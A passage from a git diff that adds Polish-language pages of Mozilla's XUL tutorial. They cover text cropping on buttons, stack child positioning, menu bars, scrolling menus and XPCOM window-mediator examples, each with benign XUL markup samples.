+<p>Możemy także użyć własności stylów <code><a href="pl/CSS/-moz-box-pack">-moz-box-pack</a></code> i <code><a href="pl/CSS/-moz-box-align">-moz-box-align</a></code> zamiast określonych atrybutów.</p>
+
+<div class="note">Możesz odkryć, że Przykład Pola Regulowanego jest użyteczny dla wypróbowania różnicy właściwości pola.</div>
+
+<div class="note"><b>You may find the <a class="external" href="http://developer.mozilla.org/samples/xultu/examples/aligner.xul">Box Alignment Example</a> useful for trying out the various box properties.</b></div>
+
+<h2 id="Przycinanie.2FSkracanie_tekstu_i_przycisk.C3.B3w" name="Przycinanie.2FSkracanie_tekstu_i_przycisk.C3.B3w">Przycinanie/Skracanie tekstu i przycisków</h2>
+
+<p>Możemy potencjalnie stworzyć element przycisku, który zawiera etykietę, która jest większa niż maksymalna szerokość przycisku. Oczywiście, rozwiązaniem byłoby zwiększenie rozmiaru przycisku. Jednak, przyciski (i inne elementy z etykietami) mają specjalny atrybut nazwany <code>crop</code>, który pozwala ci określić jak tekst może być przycięty jeśli jest zbyt długi</p>
+
+<p>Jeśli tekst jest przycięty pojawi się wielokropek (...) na przycisku, gdzie tekst został skrócony. Poprawne są cztery możliwie wartości:</p>
+
+<dl>
+ <dt>left </dt>
+ <dd>Tekst przycięty z lewej strony.</dd>
+ <dt>right </dt>
+ <dd>Tekst przycięty z prawej strony.</dd>
+ <dt>center </dt>
+ <dd>Tekst jest przycięty w środku.</dd>
+ <dt>none </dt>
+ <dd>Tekst nie został przycięty. Jest to wartość domyślna.</dd>
+</dl>
+
+<p>Ten atrybut jest rzeczywiście użyteczny tylko kiedy okienko dialogowe zostało stworzone aby być użytecznym w danym rozmiarze. Atrybut <code>crop</code> może również być użyty z innymi elementami, które stosują atrybut <code>label</code> dla etykiet. Poniżej pokazano ten atrybut w działaniu.</p>
+
+<p><span id="Przyk%C5%82ad_6"><a id="Przyk%C5%82ad_6"></a><strong>Przykład 6</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_6.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxstyle_6.xul">Podgląd</a></p>
+
+<div class="float-right"><img alt="grafika:boxstyle2.png"></div>
+
+<pre>&lt;button label="Proszę, Naciśnij mnie!" crop="right" flex="1"/&gt;
+</pre>
+
+<p>Odnotuj jak tekst na przycisku został przycięty z prawej strony po uczynieniu okienka mniejszym.</p>
+
+<div class="highlight">
+<p>Przykład <code>Znajdź pliki</code>: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxstyle.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxstyle.xul">Podgląd</a></p>
+</div>
+
+<p>W następnym artykule podsumujemy i <a href="pl/Kurs_XUL/Szczeg%c3%b3%c5%82y_modelu_pude%c5%82kowego">opiszemy szczegóły modelu pudełkowego</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Model_pudełkowy" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Szczegóły_modelu_pudełkowego">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/pozycjonowanie_stosu/index.html b/files/pl/mozilla/tech/xul/kurs_xul/pozycjonowanie_stosu/index.html
new file mode 100644
index 0000000000..bddb7c90f4
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/pozycjonowanie_stosu/index.html
@@ -0,0 +1,36 @@
+---
+title: Pozycjonowanie stosu
+slug: Mozilla/Tech/XUL/Kurs_XUL/Pozycjonowanie_stosu
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Stack_Positioning
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Stosy_i_pokłady" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Pudełko_kart">Następny »</a></p>
+</div>
+<p></p><p>Artykuł ten opisuje, w jaki sposób pozycjonować elementy w stosie.
+</p>
+<h3 id="Umieszczenie_potomka_stosu" name="Umieszczenie_potomka_stosu"> Umieszczenie potomka stosu </h3>
+<p>Normalnie elementy potomne stosu rozciągają i dopasowują się rozmiarem do <code><code><a href="/pl/docs/Mozilla/Tech/XUL/stack" title="stack">stack</a></code></code> (stosu). Jednakże mamy także możliwość umieszczenia dziecka na określonych współrzędnych. Na przykład, jeśli stos posiada dwa przyciski jako dzieci, jeden może być umieszczony 20 pikseli od lewego brzegu i 50 pikseli od górnego brzegu. Drugi przycisk może zostać umieszczony 100 pikseli od lewego brzegu i 5 pikseli od górnego brzegu.
+</p><p>Pozycja elementu potomnego może być określona poprzez dodanie dwóch atrybutów do tego elementu. Dla pozycjonowania poziomego zastosuj atrybut <code>left</code>, a dla pozycjonowania pionowego zastosuj atrybut <code>top</code>. Jeśli nie dodasz tych atrybutów do elementów będących dziećmi elementu <code>stack</code>, to potomek dopasuje się sam do rozmiaru stosu.
+</p><p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_bulletins_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_bulletins_1.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="grafika:bulletins1.png"></div>
+<pre>&lt;stack&gt;
+ &lt;button label="Gobeliny" left="5" top="5"/&gt;
+ &lt;button label="Trole" left="60" top="20"/&gt;
+ &lt;button label="Wampiry" left="10" top="60"/&gt;
+&lt;/stack&gt;
+</pre>
+<p>Stos (<code>stack</code>) zawiera trzy elementy, każdy z nich jest pozycjonowany, dzięki rozmieszczeniu atrybutów <code>left</code> oraz <code>top</code>. Tutaj wszystkie dzieci stosu są przyciskami, lecz elementy nie są tego samego typu. Może to być dowolny element zawierający pudełko i inne stosy. </p><p>Rozmiar <code>stack</code> jest określony na podstawie pozycji elementów potomnych. Zawsze jest o takich rozmiarach, aby elementy potomne były widoczne. Więc jaki ustawisz atrybut <code>left</code> na 400, stos będzie miał długość 400 pikseli wokół siebie plus długość elementu. Możemy przesłonić ten rozmiar różnymi własnościami stylu, takimi jak <code>width</code> czy <code>max-width</code>.
+</p><p>Możemy zastosować skrypt do uporządkowania wartości atrybutów <code>left</code> i <code>top</code> i w ten sposób elementy będą poruszały się wokoło. Zaletą stosów jest to, że w momencie, gdy jeden absolutnie pozycjonowany element zmienia swoją pozycję, pozycja innych elementów nie jest zmieniana. Jeśli próbujemy przenieść elementy w prawidłowym pudełku, inne elementy mogą zmieniać swoje pozycje. </p><p>Jest także możliwe umieszczenie elementów potomnych, więc są one nakładkami. Kiedy rysujemy elementy potomne, elementy są pokazywane w kolejności, w której pojawiły się w stosie (<code>stack</code>). To jest tak, że pierwszy element potomny jest wyświetlony w <code>stack</code> jako tło (na samym spodzie), następny element potomny wyświetlony zostanie zaraz nad nim i tak dalej. Ostatni element potomny zostanie wyświetlony na samej górze. Możemy zastosować funkcje DOM do przesunięcia kolejności elementów wokoło.
+</p><p>Odpowiadający jako pierwszy zdarzeniom myszy, będzie to pierwszy element z góry. Znaczenie ma to przy dwóch przyciskach nałożonych na siebie, gdyż przycisk znajdujący się na górze zostanie przydzielony kliknięciu myszy i oddzielony od innych.
+</p><p>Następny artykuł <a href="pl/Kurs_XUL/Pude%c5%82ko_kart">opisuje element tabbox</a>, który będzie jak pokład, ale dostarcza własną nawigację. </p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Stosy_i_pokłady" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Pudełko_kart">Następny »</a></p>
+</div>
+<p></p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/proste_paski_menu/index.html b/files/pl/mozilla/tech/xul/kurs_xul/proste_paski_menu/index.html
new file mode 100644
index 0000000000..198b5110d8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/proste_paski_menu/index.html
@@ -0,0 +1,163 @@
+---
+title: Proste paski menu
+slug: Mozilla/Tech/XUL/Kurs_XUL/Proste_paski_menu
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+---
+<p> </p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Paski_narzędzi" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_menu">Następny »</a></p>
+</div><p></p>
+
+<p>W tym artykule zobaczymy, jak utworzyć prosty pasek menu.</p>
+
+<h3 id="Tworzenie_menu" name="Tworzenie_menu">Tworzenie menu</h3>
+
+<p>W XUL menu można stworzyć na różne sposoby. Najprostszym z nich jest dodanie paska menu wraz z wierszem menu na pasku, w taki sam sposób, jak mają inne programy. Możemy także utworzyć menu wyskakujące. Możliwości wykorzystania menu są zależne od liczby różnych elementów, pozwalających Ci utworzyć prosty pasek menu lub menu wyskakujące. Pozycje w menu możemy dostosować bardzo prosto. Widzieliśmy je w części kursu, pokazującego, <a href="pl/Kurs_XUL/Kontrolki_list#Listy_rozwijane">jak dodać listy rozwijane</a> stosując element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code>. W artykule tym opierać będziemy się na zdobytej do tej pory wiedzy.</p>
+
+<p>Paski menu są często tworzone podobnie jak <code><code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></code>. Pasek menu może być umieszczony wewnątrz <code><code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code></code> i po jego lewej stronie pojawi się strzałka, która pozwoli na jego rozwinięcie lub zwinięcie. Takie menu będzie działało, tak jak każdy inny pasek narzędzi. XUL posiada kilka specjalnych elementów menu, które dostarczają typowej funkcjonalności menu.</p>
+
+<p>Poniżej znajduje się pięć elementów połączonych z paskiem menu i jego menu, które są wykorzystane poniżej, a w dalszej kursu części omówione są ich szczegóły:</p>
+
+<dl>
+ <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code> </dt>
+ <dd>Pojemnik na wiersze menu.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code> </dt>
+ <dd>Wbrew nazwie jest to tylko tytuł menu na pasku menu. Ten element możemy umieścić na pasku menu lub możemy go umieścić osobno.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code> </dt>
+ <dd>Wyskakujące menu, które pojawia się po naciśnięciu elementu<em>menu</em>. Zawiera w sobie listę z poleceniami menu.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code> </dt>
+ <dd>Pojedyncze polecenie menu. Powinno być umieszczone w <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code>.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/pl/docs/Mozilla/Tech/XUL/menuseparator" title="menuseparator">menuseparator</a></code> </dt>
+ <dd>Pozioma linia oddzielająca elementy paska menu. Powinna być umieszczona w <code>menupopup</code>.</dd>
+</dl>
+
+<div class="note">
+<p>Menu można dostosować do swoich potrzeb, umieszczając w nich dowolne elementy. Odnosi się to do wszystkich platform, oprócz Macintosh, który posiada swoje własne specjalne menu na górze ekranu kontrolowane przez system. Podczas tworzenia własnego menu miej na uwadze, że specjalne reguły stylów lub elementów niebędących elementami menu, które są umieszczone w menu, mogą nie zostać zaimplementowane.</p>
+</div>
+
+<h5 id="Przyk.C5.82ad_prostego_paska_menu" name="Przyk.C5.82ad_prostego_paska_menu">Przykład prostego paska menu</h5>
+
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_menubar_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_menubar_1.xul">Podgląd</a></p>
+
+<div class="float-right"><img alt="grafika:menubar-ex1.png"></div>
+
+<pre>&lt;toolbox flex="1"&gt;
+ &lt;menubar id="sample-menubar"&gt;
+ &lt;menu id="file-menu" label="Plik"&gt;
+ &lt;menupopup id="file-popup"&gt;
+ &lt;menuitem label="Nowy"/&gt;
+ &lt;menuitem label="Otwórz"/&gt;
+ &lt;menuitem label="Zapisz"/&gt;
+ &lt;menuseparator/&gt;
+ &lt;menuitem label="Zakończ"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;menu id="edit-menu" label="Edycja"&gt;
+ &lt;menupopup id="edit-popup"&gt;
+ &lt;menuitem label="Cofnij"/&gt;
+ &lt;menuitem label="Przywróć"/&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+
+<p><br>
+ Jak widzimy, został tu stworzony prosty pasek menu z elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code></code>. Znajdują się w nim dwa elementy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code></code> (<code>Plik</code> i <code>Edycja</code>), ułożone poziomo. Tworzą one dwa tytuły, po naciśnięciu, których pojawi się odpowiednie menu wyskakujące <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code>. Ich rozmiary dostosowują się tak, aby zmieściły się zawarte w nich polecenia. Polecenia te są z kolei tworzone poprzez <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code>.</p>
+
+<p>W celu oddzielenia grup kilku pozycji w menu stosujemy element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menuseparator" title="menuseparator">menuseparator</a></code></code>, będący separatorem.</p>
+
+<h4 id="Element_menubar" name="Element_menubar">Element <code>menubar</code></h4>
+
+<p><code><code><a href="/pl/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code></code> jest polem zawierającym menu. Zwróć uwagę, że został on umieszczony wewnątrz <code><code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code></code>. Pasek menu nie posiada specjalnych atrybutów, ale jest on typu pudełkowego. Znaczy to, że powinniśmy utworzyć pionowy pasek menu ustawiając atrybut <code><code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code></code> na wartość <code>vertical</code>.</p>
+
+<div class="float-right"><img alt="grafika:menubar-ex2.png"></div>
+
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menu" title="menu">menu</a></code></code> zazwyczaj jest umieszczany w pasku menu, ale niekoniecznie musi tak być. Jednak jego wygląd będzie się wtedy jeszcze różnił. Obrazek ukazujący aktualny przykład sprawia wrażenie, jakby nie był w pełni paskiem menu (jest jeszcze wczesne stadium projektowania tegoż paska).</p>
+
+<h4 id="Element_menu" name="Element_menu">Element <code>menu</code></h4>
+
+<p>Elementy <code>menu</code> zachowują się podobnie, jak elementy przycisków <code><code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code>. Część atrybutów jest taka sama, a oprócz tego istnieje kilka dodatkowych:</p>
+
+<dl>
+ <dt><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> </dt>
+ <dd>Unikatowy identyfikator.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code> </dt>
+ <dd>Etykieta, która powinna pojawić się jako napis na menu, np. <code>Plik</code> lub <code>Edytuj</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code> </dt>
+ <dd>Atrybut typu logicznego (boolean), określający element menu jako wyłączony, gdy posiada przypisany <code>true</code>. Może przyjmować wartości typu boolean - <code>true</code> i domyślnie ustawioną <code>false</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code> </dt>
+ <dd>Jest to klawisz, który użytkownik może nacisnąć, aby aktywować pozycję menu. Litera, która zazwyczaj pokazuje znak podkreślenia w tytule menu. Menu w Mozilli wygląda jak atrybut <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> i następnie dodajemy podkreślenie znaku do używanego w etykiecie znaku. Z tego powodu powinno się używać określanego i istniejącego znaku w jakiejś treści.</dd>
+</dl>
+
+<h4 id="Element_menupopup" name="Element_menupopup">Element <code>menupopup</code></h4>
+
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code> tworzy wyskakujące menu zawierające komendy. Jest ono typu pudełkowego, domyślnie ustawione pionowo. Można zmienić je na poziome, wtedy <code>menuitem</code> będą wyświetlone w rzędzie. Zazwyczaj <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code></code> zawiera elementy typu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code> i <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menuseparator" title="menuseparator">menuseparator</a></code></code>, ale możesz także wstawić elementy jakiegoś typu (nie będą one jednak wtedy wyświetlane pod Macintoshem).</p>
+
+<h4 id="Element_menuitem" name="Element_menuitem">Element <code>menuitem</code></h4>
+
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code></code> jest podobny do elementu <code>menu</code> i część jego atrybutów jest identyczna:</p>
+
+<dl>
+ <dt><code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code> </dt>
+ <dd>Unikatowy identyfikator.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code> </dt>
+ <dd>Etykieta, która powinna pojawić się na menu jako napis, np. <code>Otwórz</code> lub <code>Zapisz</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-disabled"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/disabled">disabled</a></code> </dt>
+ <dd>Atrybut typu logicznego (boolean), określający element menu jako wyłączony, gdy posiada przypisany <code>true</code>. Może przyjmować wartości typu boolean - <code>true</code> i domyślną <code>false</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-accesskey"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/accesskey">accesskey</a></code> </dt>
+ <dd>Jest to klawisz, który użytkownik może nacisnąć, aby aktywować pozycję menu. Litera, która zazwyczaj pokazuje znak podkreślenia w tytule menu. Menu w Mozilli wygląda jak atrybut <code><code id="a-label"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/label">label</a></code></code> i następnie dodajemy podkreślenie znaku do używanego w etykiecie znaku. Z tego powodu powinno się używać określanego i istniejącego znaku w jakiejś treści.</dd>
+</dl>
+
+<dl>
+ <dt><code id="a-acceltext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/acceltext">acceltext</a></code> </dt>
+ <dd>Określa klawisz skrótu, który widoczny jest obok tekstu komendy menu. Nic nie łączy tych skrótów ze skrótami w <code><a href="/pl/docs/Mozilla/Tech/XUL/menuitem" title="menuitem">menuitem</a></code>. Zobacz artykuł <a href="pl/Kurs_XUL/Skr%c3%b3ty_klawiaturowe">o skrótach klawiaturowych</a>.</dd>
+</dl>
+
+<h4 id="Element_menuseparator" name="Element_menuseparator">Element <code>menuseparator</code></h4>
+
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menuseparator" title="menuseparator">menuseparator</a></code></code> nie posiada specjalnych atrybutów. Tworzy po prostu poziomą linię pomiędzy poprzednim, a następnym elementem.</p>
+
+<p>W następnym artykule poznamy <a href="pl/Kurs_XUL/Dodatkowe_mo%c5%bcliwo%c5%9bci_menu">dodatkowe możliwości menu</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Paski_narzędzi" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_menu">Następny »</a></p>
+</div><p></p>
+
+<div class="noinclude"> </div>
+
+<p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/przewijane_menu/index.html b/files/pl/mozilla/tech/xul/kurs_xul/przewijane_menu/index.html
new file mode 100644
index 0000000000..b0eca5280a
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/przewijane_menu/index.html
@@ -0,0 +1,50 @@
+---
+title: Przewijane menu
+slug: Mozilla/Tech/XUL/Kurs_XUL/Przewijane_menu
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Scrolling_Menus
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Wyskakujące_menu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_funkcji_obsługi_zdarzeń">Następny »</a></p>
+</div>
+<p></p><p>Artykuł ten opisuje przewijane menu oraz jak stosować mechanizm przewijania wraz z innymi elementami.
+</p>
+<h3 id="Tworzenie_du.C5.BCego_menu" name="Tworzenie_du.C5.BCego_menu"> Tworzenie dużego menu </h3>
+<p>Zastanawialiście się, co by się stało, jeśli utworzylibyśmy menu wraz ze zbyt dużą ilością pozycji, które nie chcą się pomieścić w oknie? Mozilla dostarczyła mechanizm przewijania, który pozwala na przewijanie poprzez swoje pozycje w oknie.
+</p>
+<div class="float-right"><img alt="grafika:menuscroll1.png"></div>
+<p>Jeśli w menu zabraknie dostępnej wolnej przestrzeni w oknie menu, to automatycznie pojawią się na obu jego końcach strzałeczki. Jeśli najedziesz kursorem myszki na którąkolwiek strzałkę, to menu zostanie przewinięte w dół albo w górę. Jeśli natomiast jest więcej dostępnego miejsca, a menu się mieści w oknie, to strzałki nie zostaną wyświetlone. Zwróć uwagę, że pojawienie się strzałek zależy od aktualnie zastosowanego motywu. </p><p>Powyższe zachowanie jest wywoływane automatycznie. Nie musimy nic więcej robić, aby pojawił się on w przewijanym menu. Znajdzie on zastosowanie do menu w pasku narzędzi, w wyskakujących okienkach lub listach menu. Zaimplementowany zostanie poprzez element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/arrowscrollbox" title="arrowscrollbox">arrowscrollbox</a></code></code>. Ten element może być zastosowany do utworzenia przewijanego pudełka, posiadającego strzałki.
+</p><p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/arrowscrollbox" title="arrowscrollbox">arrowscrollbox</a></code></code> możemy zastosować gdziekolwiek w regularnym pudełku. Nie musisz go stosować do menu. Jest on zawsze pionowym pudełkiem i może być wewnątrz niego umieszczony dowolny element. Możemy go zastosować do implementacji listy, kiedy nie chcemy tworzyć listy za pomocą listy rozwijanej.
+</p><p>Poniższy przykład pokazuje, jak stworzyć przewijaną listę przycisków (aby zobaczyć strzałki przewijania, należy zminimalizować okno z poniższym przykładem):
+</p>
+<h4 id="Przyk.C5.82ad_-_przewijana_lista_przycisk.C3.B3w" name="Przyk.C5.82ad_-_przewijana_lista_przycisk.C3.B3w"> Przykład - przewijana lista przycisków </h4>
+<p><a href="https://developer.mozilla.org/samples/xultu/examples/ex_menuscroll_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_menuscroll_1.xul">Podgląd</a>
+</p>
+<pre>&lt;arrowscrollbox orient="vertical" flex="1"&gt;
+ &lt;button label="Czerwony"/&gt;
+ &lt;button label="Niebieski"/&gt;
+ &lt;button label="Zielony"/&gt;
+ &lt;button label="Żółty"/&gt;
+ &lt;button label="Pomarańczowy"/&gt;
+ &lt;button label="Srebrny"/&gt;
+ &lt;button label="Lawendowy"/&gt;
+ &lt;button label="Złoty"/&gt;
+ &lt;button label="Turkusowy"/&gt;
+ &lt;button label="Brzoskwiniowy"/&gt;
+ &lt;button label="Bordowy"/&gt;
+ &lt;button label="Czarny"/&gt;
+&lt;/arrowscrollbox&gt;
+</pre>
+<p>Chcąc zobaczyć działanie przykładu, najpierw otwórz zmaksymalizowanie okno wraz z powyższym przykładem. Następnie zmniejsz rozmiar okna, co spowoduje pojawienie się strzałek umożliwiających przewijanie listy przycisków. Ponowne zmaksymalizowanie tego samego okna spowoduje, iż strzałki znikną. </p><p>Możemy ustawić własność CSS <code>max-height</code> dla elementu <code>arrowscrollbox</code>, aby ograniczyć rozmiar pola przewijania, co spowoduje wyświetlenie się strzałek, które będą dostępne przez cały czas. </p><p>Element <code>arrowscrollbox</code> jest użyteczny głównie w menu i czasem w okienkach wyskakujących.
+</p><p>W następnym artykule pokażemy, <a href="pl/Kurs_XUL/Dodawanie_funkcji_obs%c5%82ugi_zdarze%c5%84">jak dodać obsługę zdarzeń do elementów XUL</a>.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Wyskakujące_menu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Dodawanie_funkcji_obsługi_zdarzeń">Następny »</a></p>
+</div>
+<p></p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/przykłady_xpcom/index.html b/files/pl/mozilla/tech/xul/kurs_xul/przykłady_xpcom/index.html
new file mode 100644
index 0000000000..97d9816418
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/przykłady_xpcom/index.html
@@ -0,0 +1,155 @@
+---
+title: Przykłady XPCOM
+slug: Mozilla/Tech/XUL/Kurs_XUL/Przykłady_XPCOM
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/XPCOM_Examples
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Interfejsy_XPCOM" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Drzewa">Następny »</a></p>
+</div><p></p>
+
+<p>Ten artykuł dostarczy kilku przykładów użycia XPCOM wraz z dodatkowymi interfejsami.</p>
+
+<h2 id="Zarz.C4.85dzanie_oknem" name="Zarz.C4.85dzanie_oknem">Zarządzanie oknem</h2>
+
+<div class="note">
+<p>This example contains RDF datasource that will be seen in the <a href="pl/Kurs_XUL/Szablony">later section</a>. You might skip this example for the time being, except when you have already had that knowledge.</p>
+</div>
+
+<h4 id="Tworzenie_menu_okna" name="Tworzenie_menu_okna">Tworzenie menu okna</h4>
+
+<p>Lista aktualnie otwartych okien w przeglądarce Mozilli, może być użyta jako <a href="pl/Kurs_XUL/%c5%b9r%c3%b3d%c5%82a_danych_RDF">źródło danych RDF</a>. Pozwala ci to stworzyć menu okna razem z listą aktualnie otwartych okien w aplikacji. Źródłem danych do tego jest <code>rdf:window-mediator</code>. Możemy użyć tego jak w poniższym przykładzie:</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_xpcomex_1.xul.txt">Źródła</a></p>
+
+<pre>&lt;toolbox&gt;
+ &lt;menubar id="windowlist-menubar"&gt;
+ &lt;menu label="Window"&gt;
+ &lt;menupopup id="window-menu" datasources="rdf:window-mediator" ref="NC:WindowMediatorRoot"&gt;
+ &lt;template&gt;
+ &lt;rule&gt;
+ &lt;menuitem uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/&gt;
+ &lt;/rule&gt;
+ &lt;/template&gt;
+ &lt;/menupopup&gt;
+ &lt;/menu&gt;
+ &lt;/menubar&gt;
+&lt;/toolbox&gt;
+</pre>
+
+<p>W oknie menu zostanie stworzone z listy wszystkich otwartych okien. Wypróbuj ten przykład przez otwarcie kilku okien przeglądarki a zobaczysz, że są one jako lista w menu.</p>
+
+<h3 id="Komponent_Window_mediator" name="Komponent_Window_mediator">Komponent Window mediator</h3>
+
+<p>Jest to dobre dla wyświetlania listy otwartych okien, ale chcielibyśmy poprawić to, aby klikając na pozycję w menu przełączyć się do tego okna. Jest to osiągnięte przez zastosowanie komponentu, window mediator. Implementuje on interfejs nsiWindowDataSource. Poniższy kod pokazuje jak stworzyć komponent, który go implementuje:</p>
+
+<pre>var wmdata = Components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"].getService();
+wmdata.QueryInterface(Components.interfaces.nsIWindowDataSource);
+</pre>
+
+<p>Kod ten wyszukuje komponent źródła danych window mediator. Komponent używany tu jest taki sam jak ten obsługujący źródło danych bazy RDF window-mediator. Możesz również uzyskać ten komponent przez serwis RDF, który jest kolejnym serwisem, który zarządza źródłami danych RDF.</p>
+
